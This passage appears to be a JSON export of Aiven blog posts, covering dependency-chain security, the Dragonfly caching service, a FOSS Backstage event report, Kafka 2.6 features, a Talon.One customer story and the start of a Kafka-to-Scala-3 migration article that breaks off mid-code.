bottom\n\nDespite all this, more needs to be done in order to ensure dependency chains are secured from the first level dependencies, to the ones buried several levels deep down. The consequences of not doing so are well documented — everything from loss of customer data and fines to the erosion of trust for both the business and compromised link in the chain.\n\nIt’s time to become proactive and put the first steps towards preventing the next security incident in our dependency chain.\n","categories":[{"_key":"24fed5971173","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"6dd70e741fea","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Blue background with white writing that reads \"Securing Your Open Source Dependency Chain\" with the Aiven logo in the bottom left hand corner","asset":{"_ref":"image-273c1158e6b01574935ef45ca71c135352eaafaf-1200x630-png","_type":"reference"}},"publishedAt":"2024-05-29T07:00:00.000Z","related":[{"_key":"9403bae95c5c","_ref":"8530b248-40c6-49bc-bde5-a290ed3684c7","_type":"reference"},{"_key":"51b82f74bc68","_ref":"a3acabfb-5261-424e-8619-090ddfdb12b3","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Did you already secure your open source dependency chain? All it takes are two simple steps. Find our more in the Aiven blog to avoid potential risks!"},"slug":{"_type":"slug","current":"/blog/securing-your-open-source-dependency-chain"},"subtitle":"Discover the two simple steps you can take to secure your open source dependency chain.","title":"Securing Your Open Source Dependency Chain"} {"__i18n_lang":"en","_createdAt":"2024-03-07T21:00:22Z","_id":"45bbd63f-c7e8-4335-b72d-b661d24e06b8","_rev":"sEwq5NBiPauorOxrhj5xg1","_type":"post","_updatedAt":"2024-11-19T11:44:34Z","authors":[{"_key":"3436216b6805","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"Scalability and performance are major challenges for modern enterprise applications. [Aiven for Dragonfly](https://aiven.io/dragonfly), now generally available, delivers nearly 700 percent higher throughput (requests per second) and uses approximately 25 percent less memory compared to open source Redis® on similar hardware, according to our benchmark study[1]. For businesses, this translates to a boost in conversions by keeping users engaged with lightning-fast page loads and seamless interactions.\n\nAiven for Dragonfly handles massive in-memory data workloads with ease and speed, and is fully compatible with open source Redis. It utilizes the latest hardware for maximum compute power while delivering a significant savings on infrastructure costs. It is ideal for caching, gaming leaderboards, messaging, AI applications, and other real-time applications. \n\nAiven for Dragonfly delivers: \n\n* Superior scalability — It handles large data volumes and processes hundreds of thousands of requests per second, making it ideal for caching and real-time applications like social media and online gaming.\n* Efficiency — It uses only a fraction of the resources required by other Redis-compatible solutions, making it an ideal choice for organizations seeking high throughput and cost savings without compromising performance.\n* Advanced capabilities — It goes beyond basic caching with support for JSON documents and vector search to unlock new possibilities for data-intensive applications like web and social, recommendation engines, natural language processing, and more.\n* Seamless management — Aiven for Dragonfly removes infrastructure complexities from backups and security to upgrades and cloud migrations, and delivers 99.99% uptime.\n* Compatibility — The new service offers a familiar Redis experience and easy migration from Aiven for Caching to Aiven for Dragonfly on one platform with no code changes.\n\nConrad Electronic provides an advanced sourcing platform for technical supplies to 21 million customers worldwide. Janek Wonner, Head of SRE, stated, \"Speed and scale are our game. Aiven for Dragonfly is a game-changer, with smooth migration, incredible performance, and seamless scaling. It's like having a data infrastructure that grows with us.\" \n\nOded Poncz, Co-Founder and CEO, Dragonfly says\n\u003e “We’re excited to welcome Aiven to the Dragonfly community. Aiven has shown a commitment to delivering high-performance, scalable data services to their customers, and we’re very pleased that they are able to utilize Dragonfly to deliver a service that will satisfy large, complex workloads that Redis could not scale to support.”\n\nFor more information on Aiven for Dragonfly, [click here](https://aiven.io/dragonfly). You can [get started](https://aiven.io/docs/products/dragonfly/get-started) with Aiven for Dragonfly by creating your service using the Aiven Console or Aiven CLI. If you already have Redis and want to migrate to Aiven for Dragonfly, check out our [guide](https://aiven.io/docs/products/dragonfly/howto/migrate-aiven-redis-df-console). For information on pricing, visit our [pricing page](https://aiven.io/pricing). If you are new to Aiven, a [free trial version](https://console.aiven.io/signup) is also available at signup for 30 days with a $300 credit. \n\n[1] Benchmark performed on an AWS environment, with instance types that vary from 8 CPUs and 64GB RAM, 16 CPUs and 256GB RAM, and 32CPUs and 512GB RAM.\n\n\n## Further reading\n\n- [Unlock 3 levels of awesome (E-Book download)](https://aiven.io/ebook/unlock-3levels-of-awesome)\n ","categories":[{"_key":"4ad2e7ec7c1c","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2eec6361aea0","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Blue background with the Aiven logo in the bottom left and dragonfly logo on the bottom right that reads \"super-fast caching with Aiven for Dragonfly\"","asset":{"_ref":"image-65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293-2500x1308-png","_type":"reference"}},"publishedAt":"2024-03-20T07:03:21.825Z","related":[{"_key":"847a18beb41b","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"6ecb840f2ab7","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"17d953c39655","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Did you know that Aiven for Dragonfly delivers a 700% performance boost to scale with your enterprise needs? Find out more about the solution in our blog!"},"slug":{"_type":"slug","current":"/blog/aiven-for-dragonfly-unleash-super-fast-caching"},"subtitle":"Aiven for Dragonfly delivers a 700% performance boost to scale with your enterprise needs","title":"Aiven for Dragonfly – Unleash Super-Fast Caching"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2VOOLlooYXKXIQxnWNIqUK","_rev":"sEwq5NBiPauorOxrhj4uGQ","_type":"post","_updatedAt":"2024-11-19T11:35:14Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"[FOSS Backstage](https://foss-backstage.de/ \"FOSS Backstage website\") was back in Berlin last month, this time as a hybrid event with the first day being fully online. Aiven’s Staff Developer Advocate, Floor Drees, and Community Manager, Ana Vasiliuk, ventured out (virtually) to hear some talks, and then wrote this blog post to share some of the __interesting developments__ in the open source community and the __key themes of the event:__ open source sustainability, contributor experience, open source licensing, and diversity and inclusion. \n\n## Open Source Sustainability\nHow to keep an open source project going once the novelty wears off was definitely one of the hottest topics at this year’s event. The schedule was packed with sessions on sustainability, ranging from broader discussions about funding, project health, and more practical content like tips and best practices. \n\nPatricia Leu and Marie Gutbub of Prototype Fund, a funding program for open source software at the Open Knowledge Foundation Germany, kicked off the second day with the keynote about [ways of keeping projects running besides funding](https://pretalx.com/foss-backstage-2022/talk/9Q99L9/ \"Link to the keynote session\") with some inspiring examples. \n\nDr. Wolfgang Gehring, FOSS Ambassador at Mercedes-Benz AG and its IT-subsidiary Daimler TSS, shared how they use GitHub Sponsors to [support the projects they rely upon](https://pretalx.com/foss-backstage-2022/talk/JJBV8A/ \"Link to the session\"). Wolfgang’s story of finding the right person to sign off on the program (ultimately it was their CISO) is certainly an interesting one for folks advocating for similar efforts at their organizations. \n\nRegina Nkemchor Adejo of IKEA raised the importance of mentorship as a way to sustain a project, help recruit newcomers, and retain skilled contributors. \n\nJennifer Fernick, Anne Bertucio and Christopher Robinson (aka CRob) [talked about CVEs](https://pretalx.com/foss-backstage-2022/talk/R3PVPW/ \"Link to the session about CVEs\"), and “the dance” with researchers reporting vulnerabilities. The gist of it: all complex software has flaws. What matters most is how you respond and patch. OSS vulnerabilities take years to detect - a typical vulnerability on GitHub goes undetected for over 4 years - but take mere days to exploit. The 2021 Open Source Security and Risk Analysis Report found that 84% of FOSS codebases had at least one vulnerability, with the average having 158 per codebase. \n\nIt’ll come as no surprise to anyone that the Log4J vulnerability was often referenced at FOSS backstage. As was the famous [XKCD comic](https://xkcd.com/2347/ \"Link to the XKCD comic\"), when illustrating the risk of adding software to your stack that is maintained by an individual, in their free time. \n\n## Licensing\nRelicensing is an issue that is looming in nowadays open source communities, with recent cases of companies deciding to go no-OSS or OS contributors sabotaging (their) projects. How do we as contributors or users prepare for such changes? \n\nIn his session, [Dotan Horovits of Logz.io talked about three recent case studies](https://pretalx.com/foss-backstage-2022/talk/VYZTPB/ \"Link to Dotan's session\"): Elasticsearch, Grafana, and colors.js and faker.js - two popular NPM libraries by the same author - and shared some advice for dealing with such situations: \n\n- Companies shouldn’t think of OSS as a business model. If you’re a vendor choosing the OSS path, build a sustainable business model that is independent of the core of the OS project. \n- If you’re a maintainer, don’t expect material compensation or establish a vendor entity around the open source project if you want to get compensated. \n- If you’re a user, manage your third party licensing exposure, choose projects with less restrictive licenses, and continue to monitor your dependencies for changes that have implications for your tech stack. \n\nMs. Danese Cooper in her talk “[Frenemies in FOSS: How to deal with Charter Conflicts and competing efforts](https://pretalx.com/foss-backstage-2022/talk/97ZFKE/ \"Link to the session about how to deal with Charter Conflicts\")” brought some excellent points around forking a project, and how to deal with a so-called hostile fork. \n\n## Contributor Experience\nContributors are the stars of an open source project. Here at Aiven, we’re very strong advocates for supporting open source contributors, [their mental health](https://aiven.io/blog/staying-sane-in-open-source \"Link to the blog post about contributor's mental health\"), accessibility needs, etc. We were happy to hear a lot of great ideas and conversations around this topic. One of the sessions by Ruth Cheesly (Acquia) even called for [making this the year of the contributor experience](https://pretalx.com/foss-backstage-2022/talk/PCFLPB/ \"Link to the session\")! \n\n### Ways to support contributors\nFirstly, think of the fundamentals: safety \u0026 inclusion, supporting the contributors in a positive way, and dealing with inappropriate behavior quickly and decisively. \n\nSecondly, source contributions don’t just include code: pull requests, answering questions on forums and chats, written content, docs, events, onboarding - these are all examples of contributions, and OS communities should strive to recognise them as such. \n\nFinally, think of how to “fix the leaks” in your OS community by clearly documenting ways for people to contribute, onboarding new members, highlighting specific open tasks in newsletters/message boards, and regularly reaching out to contributors for feedback.\n\nIf you need more practical advice for keeping your contributors happy, Jim Hall of Hallmentum [shared how they’ve engaged with the FreeDOS community](https://pretalx.com/foss-backstage-2022/talk/B3E9UU/ \"Link to the session\"), which has been running the project for almost three(!) decades. Spoiler: if you want your project to grow, make your community members feel like they’re part of it. That means you need to communicate to coordinate, make it easy for new people to contribute, and make your community inclusive to non-code contributions as well.\n\n### The impact of accessibility\nMaking your contributor experience a smooth one also depends on how accessible your project is, including its documentation. Writing accessible documentation is no easy task, and luckily, [Alexandra White from Google shared some of the best practices](https://pretalx.com/foss-backstage-2022/talk/DRNZPD/ \"Link to the docs accessibility session\"):\n\n- Make sure your docs are written in inclusive language with the vocabulary that avoids stereotyping and is free from descriptors that are discriminatory or otherwise excluding.\n- Check for colloquialisms, slang, or mental health language. \n- Write clear and more specific instructions: the more details, the better. For example, don’t forget to include simple things like checking if they’re using the right browser, log in instructions, etc. \n- Reduce visual cues (colors, patterns, images, font styles, directional words). \n\nWith talks by Chief Strategic Solutions at the United Nations Office of Information and Telecommunication Technology Maurizio Gazzola, and Ingo Hinterding, Public Tech Lead at the CityLAB Berlin, it’s clear that FOSS becomes even more of a commodity in government and public administration as well. \n\n*Session recordings will be made available on [the Plain Schwartz YouTube channel](https://www.youtube.com/c/PlainSchwarzUG/featured \"Link to the YouTube Channel\") shortly. Keep an eye out for updates by following [FOSS Backstage’s Twitter account](https://twitter.com/fossbckstg \"Link to the Twitter account\").*\n\n*Read more about Aiven and the [open source community](https://aiven.io/open-source \"Link to Aiven Open Source\")*","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-07T00:00:00.000Z","seo":{"metaDescription":"Read our insights from FOSS Backstage 2022, where experts discussed current open source trends and innovations. Stay informed with the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-80b7c3577a40d2db5457f8987d5cb655eb9597a9-1567x844-png","_type":"reference"}},"metaTitle":"The State of Open Source: A FOSS Backstage 2022 Event Report"},"slug":{"_type":"slug","current":"/blog/the-state-of-open-source-a-foss-backstage-2022-event-report"},"subtitle":"Learn about the current open source trends discussed at this year's FOSS Backstage. ","title":"The State of Open Source: A FOSS Backstage 2022 Event Report"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"6P0tkfJuuLqI9KHhXcE45X","_rev":"T130WEs22RB6SoEkOC74Lu","_type":"post","_updatedAt":"2024-11-19T11:47:01Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We’re excited to announce that Apache Kafka 2.6 is fully supported as a managed service on the Aiven platform. In typical Aiven fashion, we were able to make it available to our user base on August 13th — around one week from its release. Apologies for the latency of the blog post!\n\nApache Kafka 2.6 comes with a number of enhancements across the board, from its core to Kafka Connect and Streams; but, they all boil down to the same essence: making it easier to operate Kafka and its components at scale. Let’s dive into the more interesting highlights.\n\n## Apache Kafka 2.6 highlights\n\n### Kafka Core KIPs\n[KIP-568](https://cwiki.apache.org/confluence/display/KAFKA/KIP-568%3A+Explicit+rebalance+triggering+on+the+Consumer \"apache kafka 2.6 kip 568 documentation\") __— explicit rebalance triggering on the consumer__\n\nGenerally consumer group rebalances are something that are typically abstracted away from the user and automatically handled as part of the group’s core functionality; but, there are cases when you may want your consumer app to be able to trigger a rebalance. Interestingly, this functionality is key to KIP-441 (discussed below) that makes scaling Streams apps friendlier.\n\n### Kafka Connect KIPs\n[KIP-610](https://cwiki.apache.org/confluence/display/KAFKA/KIP-610%3A+Error+Reporting+in+Sink+Connectors \"apache kafka 2.6 kip 610 documentation\") __— Error reporting in Sink connectors__\n\nPreviously, Kafka Connect’s Dead Letter Queue (DLQ) functionality only supported error reporting within contexts of the transform operation, and key, value, and header converter operation. This KIP extends that functionality across the entire chain, thereby allowing sink connectors to report individual records as problematic and sending them to the DLQ.\n\n[KIP-585](https://cwiki.apache.org/confluence/display/KAFKA/KIP-585%3A+Filter+and+Conditional+SMTs \"apache kafka 2.6 kip 585 documentation\") __— filter and conditional SMTs__\n\nIn a nutshell, this KIP enhances the sophistication of Kafka Connect’s Single Message Transformation (SMT) functionality. Should the use case call for it, users can now selectively apply SMT to specific record types using predicates. Here are three default predicates:\n\n- TopicNameMatches — used to apply an SMT based on topic names\n- HasHeaderKey — used to apply an SMT when a record has a specific header\n- RecordIsTombstone — used to apply an SMT based on whether a record is a tombstone\n\n[KIP-158](https://cwiki.apache.org/confluence/display/KAFKA/KIP-158%3A+Kafka+Connect+should+allow+source+connectors+to+set+topic-specific+settings+for+new+topics \"apache kafka 2.6 kip 158 documentation\") __— kafka connect should allow source connectors to set topic-specific setting for new topics__\n\nThis KIP allows users to configure Kafka Connect clusters so that they can handle topic creation for source connectors, instead of relying on users creating them manually, which presents scaling issues, or on brokers to create them, which presents a number of potential errors.\n\n### Kafka Streams key KIPs\n[KIP-447](https://cwiki.apache.org/confluence/display/KAFKA/KIP-447%3A+Producer+scalability+for+exactly+once+semantics \"apache kafka 2.6 kip 447 documentation\") __— producer scalability with exactly once semantics (EOS)__\n\nExactly once semantics (EOS) provides transactional message processing guarantees, but sometimes there is a semantic mismatch between consumers in a group and transactional producers primarily due to how each component handles partition assignment. Architecturally, the way in which the producers handled this mismatch didn’t scale well. This KIP rectifies this mismatch and reworks the design to handle a larger number of input partitions more gracefully.\n\n[KIP-441](https://cwiki.apache.org/confluence/display/KAFKA/KIP-441%3A+Smooth+Scaling+Out+for+Kafka+Streams \"apache kafka 2.6 kip 441 documentation\") __— Smooth scale-out__\n\nThis is a biggie when it comes to scaling out your Steams Application because it now allows the prior owner of a stateful task to maintain ownership until the new owner catches up. Ownership will then be transferred once complete, allowing for processing during the scale-out process.\n\n## Wrapping up\nThe aforementioned are only the tip of the iceberg. For this release, there were dozens enhancements, whether new features, improvements, or bug fixes. You can [check out the Apache Kafka 2.6 release notes](https://home.apache.org/~rhauch/kafka-2.6.0-rc0/RELEASE_NOTES.html \"apache kafka 2.6 release notes\") to dive even deeper into what this release offers.\n\nFor those of you who want to try managed Kafka 2.6, you can either launch a brand new cluster or conduct a [no-downtime upgrade to the latest version](https://help.aiven.io/en/articles/1529490-kafka-cluster-upgrades \"article detailing how to upgrade an aiven for apache kafka cluster with no downtime\"). In the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml \"aiven changelog rss feed\") and [blog](https://aiven.io/blog/feed.xml \"blog rss feed\") RSS feeds or our [Twitter](https://twitter.com/aiven_io \"aiven twitter profile link\") account to stay up-to-date.\n\n\n## Further reading\n\n- [Aiven statement on kafka license](https://aiven.io/blog/aiven-statement-on-kafka-license)\n- [Aiven supports Apache Kafka® 2.8](https://aiven.io/blog/aiven-supports-apache-kafka-2-8)\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-08-19T00:00:00.000Z","seo":{"metaDescription":"Apache Kafka 2.6 is now fully supported as a managed service on the Aiven platform and comes with a number of improvements. Find out more in our blog!","metaImage":{"alt":"","asset":{"_ref":"image-fc92a2b15c253724ec0b2e21fb595d8d510e6d3f-1200x646-jpg","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 2.6"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-2-6"},"subtitle":"Apache Kafka 2.6 is now available as a managed service on Aiven. Read on to find out more.","title":"Aiven supports Apache Kafka® 2.6"} {"__i18n_lang":"en","_createdAt":"2023-07-05T11:18:21Z","_id":"09984051-2fbb-4356-83b1-4a439dc158bb","_rev":"YN8truRCqnchJPC7UzUyFj","_type":"post","_updatedAt":"2024-11-25T14:00:07Z","authors":[{"_key":"a9bb6c49a932","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"The shift to cloud computing has been one of the most significant tech trends of recent years. Moving to the cloud can bring businesses many advantages including increased agility, efficiency and security as well as the potential for innovation. Rapid scalability is another major advantage but, without the necessary controls in place, this can also lead to a rapid increase in costs. That’s why organizations today need to find ways to [maximize cloud usage and efficiency.](https://aiven.io/blog/optimizing-cloud-infrastructure-costs)\n \nIn a recent webinar hosted by [C2C](https://youtu.be/8i9BluzXJ5A), the Google Cloud Customer Community, [Talon.One](https://www.talon.one/) shared insights into how the company has optimized its cloud costs while reaping the many benefits of moving to the cloud.\n\nLaunched in 2015, Talon.One has grown into the leading [enterprise-grade promotion and loyalty solution](https://www.talon.one/promotion-engine) helping brands like Adidas, Afterpay and Carlsberg scale their incentive campaigns. Data is at the center of Talon.One’s powerful promotion engine, therefore monitoring the cost of data-related resources is key to ensure both performance and profitability. \n\nToday that responsibility lies with Yotam Cohen, DevOps Team Lead. Cohen oversees Talon.One’s software development and deployment processes as well as maintaining the company’s infrastructure. “When the business started, very quickly the decision was taken to use open source PostgreSQL® as a managed service from Aiven, running on Google Cloud. Since then, Aiven has been a big part of our product. It’s been instrumental in our success and in controlling our costs as we’ve grown,” says Cohen.\n\n## Standardized plans help optimize customer environments\nEach Talon.One customer has its own PostgreSQL server to guarantee security, compliance and availability. Talon.One runs more than 250 databases at any given time, totaling more than 17 terabytes in size. Aiven offers a large selection of PostgreSQL plans with standardized configurations of compute, memory and storage. This enables Talon.One to select the plan with the optimal resources for each customer’s unique requirements. With hundreds of customers, these incremental savings add up to a significant reduction in the cloud resource that Talon.One has to pay for.\n\nAiven has taken this one step further and created additional, customized plans to satisfy Talon.One’s needs. “The latest cost optimization exercise has reduced our PostgreSQL cost by a third, which is huge for us,” says Cohen.\n\n\u003e “The latest cost optimization exercise has reduced our PostgreSQL cost by a third, which is huge for us,”\n\n## Scaling down as important as scaling up\nAiven for PostgreSQL® also enables Talon.One to cost-efficiently scale the databases up and down as required. “Every vendor gives you the ability to scale up performance and resources when you need them—it brings them more money after all—but scaling down can be hard when the database is already there,” says Cohen. “With Aiven, if we have a large and predictable increase in volume, we simply expand the plan and then bring it down again when everything is back to normal. It’s a refreshing approach that saves us money.”\n\nTalon.One is also using Aiven for Apache Kafka® to minimize data pipeline costs. As the business grew, so did the amount of data ingestion, and costs began to soar. “Most companies charge you by volume so things can get out of hand quickly,” says Cohen. “By switching to Aiven for Apache Kafka, we’ve got costs under control. We have a fixed price per month per Apache Kafka® cluster which means, not only have we cut costs, the costs are predictable and will remain so as we continue to expand.”\n\n\u003e “By switching to Aiven for Apache Kafka, we’ve got costs under control. We have a fixed price per month per Apache Kafka® cluster which means, not only have we cut costs, the costs are predictable and will remain so as we continue to expand.”\n\n## Optimizing Google Cloud costs\nWith customers spread across the globe, Talon.One has to consider where its resources are located to ensure its customers get the best experience possible. For example, by using the various geographical regions offered by Google Cloud, Talon.One can locate cloud resources close to its customers. It also has eight instances of Aiven for Apache Kafka to enable the company to segment customers by geography and, in addition to having a dedicated PostgreSQL server, each customer is allocated to a regional Kafka cluster.\n\nOptimizing Google Cloud costs is a key part of the organization’s cloud cost management strategy. “Google Cloud has a great dashboard for billings which provides an aggregated view across many projects. If you label your infrastructure properly, you can break down the costs really well and find opportunities for cost optimization. We are very happy that Aiven services are hosted on Google—it helps us keep on top of our cloud costs,” says Cohen.\n\nHaving PostgreSQL and Kafka managed by Aiven is another way for Talon.One to optimize resources. “We’d need at least two or three full time employees to do the work that Aiven does but we wouldn’t have the same quality of service,” says Cohen. “We take it for granted that everything runs seamlessly with Aiven. Upgrades take place with no interruptions. We touch PostgreSQL maybe once a month.”\n\n\u003e “We’d need at least two or three full time employees to do the work that Aiven does but we wouldn’t have the same quality of service,” says Cohen. “We take it for granted that everything runs seamlessly with Aiven. Upgrades take place with no interruptions. We touch PostgreSQL maybe once a month.”\n\n## Seamless integration avoids more costs\nWhen onboarding new tools, Cohen’s team invests money, time and effort in researching how to integrate them with the existing ecosystem. For Talon.One, this additional cost is avoided with Aiven. For example, when the team started using Aiven for Apache Kafka Connect and Aiven for ClickHouse®, the new technologies integrated seamlessly with PostgreSQL and Kafka. \n\nLooking to the future, Cohen anticipates more growth, particularly as the company increasingly attracts larger enterprises. “We’re becoming even more data-oriented which means more data ingestion and more analytics. Visibility into, and management of, data costs will remain very important. Aiven is our go-to partner for anything data related and will remain key to our cost optimization efforts as we journey into the future,” Cohen concludes.\n\n::youtube[Optimizing Cloud Infrastructure: Talon.One's 250 Databases and One-Third Cost Reduction]{#5QGcsHkUuwI}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1317b4d85a0a","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Talon.One Optimizes Cloud Infrastructure Costs","asset":{"_ref":"image-466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724-png","_type":"reference"}},"publishedAt":"2023-07-05T10:56:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"178d2b69d553","_ref":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how Aiven supports Talon.One with its managed services, boosting efficiency and saving costs. Find out more about the cooperation in our blog!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724-png","_type":"reference"}},"metaTitle":"Talon.One Optimizes Cloud Infrastructure Costs"},"slug":{"_type":"slug","current":"/blog/talon-one-optimizes-cloud-infrastructure-costs"},"subtitle":"With Aiven at the heart of its data platform, Talon.One enjoys significant cost efficiencies","title":"Talon.One Optimizes Cloud Infrastructure Costs"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"5SzOZmq5gPtqQPiBw6ul87","_rev":"h4ancfFTuSnQNBSq3JJII8","_type":"post","_updatedAt":"2024-11-19T11:52:52Z","authors":[{"_key":"6kbIS9XcSGAirsTtwXqhdf","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Apache Kafka is a distributed event streaming platform, and it's open source. Today's post isn't about the cool things you can do with it. This time we talk about Kafka's internals. Specifically, we discuss one of the latest tasks being done at Aiven's Open Source Program Office: migration of Apache Kafka to Scala 3.\n\n## What is Scala?\n\n[Scala](https://scala-lang.org/) is a [strong statically typed](https://en.wikipedia.org/wiki/Type_system#STATIC) programming language that combines the [object-oriented](https://en.wikipedia.org/wiki/Object-oriented_programming) and [functional programming](https://en.wikipedia.org/wiki/Functional_programming) paradigms.\n\nScala code can be compiled to run on the [JVM](https://en.wikipedia.org/wiki/Java_virtual_machine), [JavaScript engines](https://en.wikipedia.org/wiki/JavaScript_engine), or even the [LLVM](https://en.wikipedia.org/wiki/LLVM) compiler.\n\n### Particularities of Scala\n\nScala has been known to suffer from cumbersome migrations between major versions (for example from `2.12` to `2.13`), as the bytecode generated between them is not even meant to be compatible. This means that for a Scala project to be migrated to a new major version, all the dependencies need to be migrated first, creating massive delays in bigger projects. However, this changed drastically with Scala 3 as the compiler can now read dependency files compiled for Scala `2.13`[1](#footnote-1).\n\n## How are Apache Kafka and Scala related?\n\nIf you're not familiar with Apache Kafka internal code, you might wonder what Scala and Kafka have to do with each other. The answer is quite simple: Kafka is written in Java and Scala. However, the percentage of Scala code in Kafka's codebase is decreasing version by version, going from roughly 50% in Apache Kafka 0.7, to the current 23%[2](#footnote-2). As of Apache 3.1.0, the largest and most important module written in Scala is the `core` one, which as its name indicates is Kafka's heart'. The other module written in Scala is a Scala API module for Kafka Streams.\nKafka, however, is not using most of the _de-facto_ standard tools in Scala (build tool, testing libraries...). Also one might argue that the Scala code written in Kafka is not written in the one of the widely accepted idiomatic ways.\n\n## Why update to Scala 3?\n\nAs with many libraries and many other languages, once a version is too old it will stop receiving updates. This means any new vulnerability discovered won't be fixed or there will be no new improvements added to that version. Scala is no exception. That's why migrating to Scala 3 is a way to keep up with security updates and upcoming features and performance improvements.\n\nAdditionally, by migrating to Scala 3, we would make the work easier for anybody depending on any Kafka artifact compiled with Scala.\n\n## Migrating to Scala 3\n\nDuring the proof of concept to check the feasibility of the Scala 3 migration, we encountered several problems. These were in different parts of the ecosystem: the build tool, the bytecode generation, and the Java interoperability. We will describe each of those points with further detail.\n\n### Gradle enhancement\n\nWhen facing the task of migrating to Scala 3, the first problem we encountered was that the build tool used by Kafka, [Gradle](https://gradle.org/), didn't support Scala 3 yet. There was already an feature request in Gradle's ticketing system but it was not being worked on, just waiting for somebody from the community to step in.\n\nWe approached the [Scala Center](https://scala.epfl.ch/)[3](#footnote-3) asking if the Gradle support was something they would have bandwidth to contribute to. One of its members, Tomasz Godzik from [Virtus Lab](https://virtuslab.com/), very well known in the Scala community for their work on different build tools and IDE support, showed interest in this task and contributed Scala 3 support to Gradle. We are really thankful to Tomasz for contributing this feature!\n\n### The migration itself (Syntax)\n\nOnce support for Scala 3 was available (as a nightly build) in Gradle, we could really start with the migration. The vast majority of the problems found were related on how Kafka's Scala code was written, using some features or capabilities that are now discouraged.\n\n#### Too many parentheses\n\nScala allows you to define methods that take no parameters as parenthesis-less methods. In Scala 2, such methods could be called with or without parenthesis. In Scala 3 though, under some special circumstances, the compiler is not able to properly assume the parenthesis belong to a parenthesis-less method and tries to apply it to the result. This does not apply to all instances where a method without parenthesis is called with them, only to certain ones.\n\nHere you can see an example with only the relevant parts showcased:\n\nGiven:\n\n```scala\nclass KafkaConfig private(doLog: Boolean, val props: java.util.Map[_, _], dynamicConfigOverride: Option[DynamicBrokerConfig])\n extends AbstractConfig(KafkaConfig.configDef, props, doLog) with Logging {\n ...\n override def originals: util.Map[String, AnyRef] =\n if (this eq currentConfig) super.originals else currentConfig.originals\n ...\n}\n```\n\nWhere `AbstractConfig` is the following Java class:\n\n```java\npublic class AbstractConfig {\n ...\n public Map\u003cString, Object\u003e originals() {\n Map\u003cString, Object\u003e copy = new RecordingMap\u003c\u003e();\n copy.putAll(originals);\n return copy;\n }\n ...\n}\n```\n\nThe following code compiles in Scala 2 but not in Scala 3.\n\n```scala\nclass ReplicaManager(val config: KafkaConfig,\n ...\n ) {\n ...\n protected def createReplicaSelector(): Option[ReplicaSelector] = {\n config.replicaSelectorClassName.map { className 